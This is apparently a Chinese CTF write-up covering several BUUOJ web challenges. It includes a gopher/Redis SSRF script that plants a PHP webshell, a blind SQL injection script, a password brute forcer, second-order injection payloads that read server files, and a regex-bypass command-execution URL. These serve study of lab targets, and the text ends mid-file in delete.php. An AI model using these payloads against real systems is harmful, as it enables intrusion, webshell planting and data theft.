BUUOJ-Web题目-9

[MRCTF2020]套娃

F12源码

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

于是我们就要想办法绕过

参考这篇文章

Payload:

?b%20u%20p%20t=23333%0a

然后给了一个网页，进去后源码看到一串显然是加密的内容

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[]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应该是jsfuck，解密得到post me Merak

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

Data协议绕过第一层，判断ip一般就是Client-ip和X-Forwarded-For，然后change要修改一下，解密一波

最后得到Payload

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

[GKCTF2020]EZ三剑客-EzWeb

输入127.0.0.1提示别这样，那我输入127.0.0.2，发现包含了我们输入页面的内容

然后F12看源码，知道了输入额外GET参数?secret可以看点别的，然后看到一些额外的内容

那么似乎就是一个打内网的问题了，子网掩码255.255.255.0，只有最后一位，利用Burpsuite爆破

好的，现在确定是173.173.245.12了，需要对端口进行扫描，于是不会了，上网找WP

于是是Redis服务，找个现成的脚本

import urllib
protocol="gopher://"
ip="173.173.245.12"
port="6379"
shell="nn<?php system("cat /flag");?>nn"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="rn"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

[BJDCTF 2nd]elementmaster

完全不明白这题意思，直接上网找题解

然后，这题真的不应该放在Misc分类里面么。。。

懒得写详细内容了，直接放脚本吧。。。

import requests
import time

url='http://724f7341-dfec-498d-aa77-a470d2f2c624.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
    r=requests.get(url + i + '.php')
    time.sleep(0.1)
    if r.status_code == 200:
        flag+=r.text
        print(flag)

访问得到flag

[WUSTCTF2020]颜值成绩查询

输入1~4，存在几个人，有不同的成绩

但是注意到我们输入1+1，和输入2的效果是一致的，推测这里存在一个命令执行的问题，不过SQL的话应该就是盲注了。

直接上盲注脚本

import sys
import requests
import string
import time

config_html = 'http://7ad4422f-8918-451b-b065-9c29f768ba12.node3.buuoj.cn/index.php'

config_method = 'GET'

config_key = 'stunum'

config_data = {
    'stunum' : 'if({0},1,0)#'
}

config_length = 'char_length({0}){1}'

config_line = 'ascii(substr({0},{1},1)){2}'

config_success_flag = 'admin'

config_failed_flag = 'not exists'

config_retry_time = 0.1

config_headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'DNT':'1',
    'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}_,-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
    if config_method == 'GET':
        r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
    else:
        r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    while r.status_code != 200:
        print('[-] Retry to connect...')
        time.sleep(config_retry_time)
        if config_method == 'GET':
            r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
        else:
            r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
    r.encoding = 'UTF-8'
    #print(r.text)
    if config_success_flag in r.text:
        return True
    elif config_failed_flag in r.text:
        return False
    else:
        print('Error: method error!')
        return False

def cfg_data(par):
    data = config_data.copy()
    data[config_key] = data[config_key].format(par)
    return data

def concat_line_length(cmd,i):
    return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,i,nowlen):
    return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))

def get_length_line(cmd):
    for i in range(0,255):
        time.sleep(config_retry_time)
        #print(cfg_data(concat_line_length(cmd,i)))
        if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
            print('[-] {0} NOT length: {1}'.format(cmd,i))
            continue
        else:
            print('[+] {0} length: {1}'.format(cmd,i))
            return i
    print('[-] Search Length Failed...')
    return 0

def get_value_line(cmd,length,preline):
    ret = list(preline)
    for l in range(length - len(preline)):
        fg = False
        for i in config_data_range:
            #print(config_data_range)
            #print(i)
            time.sleep(config_retry_time)
            #print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
            if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
                continue
            else:
                fg = True
                ret.append(i)
                #print(ret)
                print('[+] {0} : {1}'.format(cmd,''.join(ret)))
                break
        if fg == False:
            ret.append(config_data_range[-1])
            print('[+] {0} : {1}'.format(cmd,''.join(ret)))
            break
    return ret

def database():
    cmd = 'database()'
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

database()

def table():
    cmd = "(SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema='ctf'))"
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

table()

def column():
    cmd = "(SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name='flag'))"
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

column()

def flag():
    cmd = "(SELECT(value)FROM(flag))"
    length = get_length_line(cmd)
    print(get_value_line(cmd,length,''))

flag()

[网鼎杯 2018]Comment

发言需要登录，发现框里面是zhangwei和zhangwei***，推测是一个弱密码

爆破一下

import requests
import string
import time

html = 'http://5e7cdeb0-8242-4b9e-830f-845694902ca7.node3.buuoj.cn/login.php'

letter = string.digits

key = {
    'username': 'zhangwei',
    'password': 'zhangwei{0}'
}

def get():
    for i in letter:
        for j in letter:
            for k in letter:
                data = key.copy()
                data['password'] = data['password'].format(i + j +k)
                r = requests.post(html,data=data,cookies = {'PHPSESSID':'47p66o1t0g19bfj3866n9uso52'})
                print('[+] {0} : LENGTH = {1}'.format(i + j + k,len(r.text)))
                time.sleep(0.1)

get()

得到666，从而概括出以下内容：

username = zhangwei
password = zhangwei666

随便测了一下发现可以XSS，但是没有XSS Bot，所以应该还是注入题。带详情的话可能是二次注入。

然后在提交留言的时候试验一下，发现在正文之类的地方放上'/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3,4#提交不上去。猜测可能更新的时候被注释掉了。那么确实存在注入，思考注入方式。

然后不会了，百度找WP得知是.git文件泄露，所以我们可以恢复一下。

git log --reflog
commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <[email protected]>
Date:   Sat Aug 11 22:51:17 2018 +0800

    WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <[email protected]>
Date:   Sat Aug 11 22:51:17 2018 +0800

    index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
Author: root <[email protected]>
Date:   Sat Aug 11 22:47:29 2018 +0800

    add write_do.php

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
HEAD is now at e5b2a24 WIP on master: bfbdf21 add write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

然后就是绕过addslashes了，参考这篇文章

首先要知道即使是addslashes时，进入数据库的内容也是没有反斜杠的。

那么我们可以这么注入：

首先在category字段写入正常的字段

然后在留言中写入闭合部分，即可完成一次查询。

举个例子：

第一步：category写入字段

',content=user(),/*

此时会转义并存入数据库，内容此时是：

category = ',content=user(),/*

第二步：category取出注入

注意到在case=comment时，category被取出，此时是没有反斜杠的，然后我们在comment写入闭合insert语句即可。

*/#

试一下：

看bash_history

',content=(select load_file('/home/www/.bash_history')),/*

发现.DS_Store，在/tmp里面解压了但是没删掉，只删掉了/var/www/html里面的，所以就可以读取了。

',content=(select(hex(load_file("/tmp/html/.DS_Store")))),/*

Burpsuite Decoder解密

读取flag

',content=(select(hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')))),/*

返回flag

<?php
    $flag="flag{032524c0-d105-45fc-bf34-7574d1e9a964}";
?>

[FBCTF2019]RCEService

这题提示约等于没有，几乎不懂这是干啥

不过试了下，可以这么执行命令

{"cmd":"ls"}

试试whoami，然而没有返回，可能是屏蔽了

貌似过滤了相当多的字符，不会了，找WP去

然后WP说有源码。。。

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[x00-x1FA-Z0-9!#-/;-@[-`|~x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

按照WP的说法，preg_match只会匹配一行，那么%0a就可以绕过。

但是我发现必须要前后各有一个%0a才行，不太清楚为何，以后有空试一下。

Payload

http://2593d3de-1a1b-427b-a411-62bea5cee431.node3.buuoj.cn/?cmd=%7B%0a%22cmd%22%3A%22/bin/cat%20/home/rceservice/flag%22%0a%7D

[BSidesCF 2019]Kookie

给了一个账户cookie/monster，然后我们就可以登录一下，然后发现cookie记录了username，我们把username改成admin试试。

然后就过了。。。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

一个订单界面，可以输入姓名、电话、地址。

可以根据姓名和电话查询或修改住址，也可以删除订单。

那么可以猜测是一个二次注入，先添加一个订单然后一直修改可以注入的地址。

试了一下，貌似有转义，所以应该要拿到源码或提示才能继续。

看源码，发现了一个细节

那我们看看能不能读取些东西，事实证明可以，用PHP伪协议来读取内容。

confirm.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <img class="logo" src="./assets/img/logo-zh.png">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                <a href="./index.php">
                <button class='btn btn-lg  btn-sub btn-white'>返回</button>
                </a>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>订单查询</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a> 
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>    
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <div class="row">
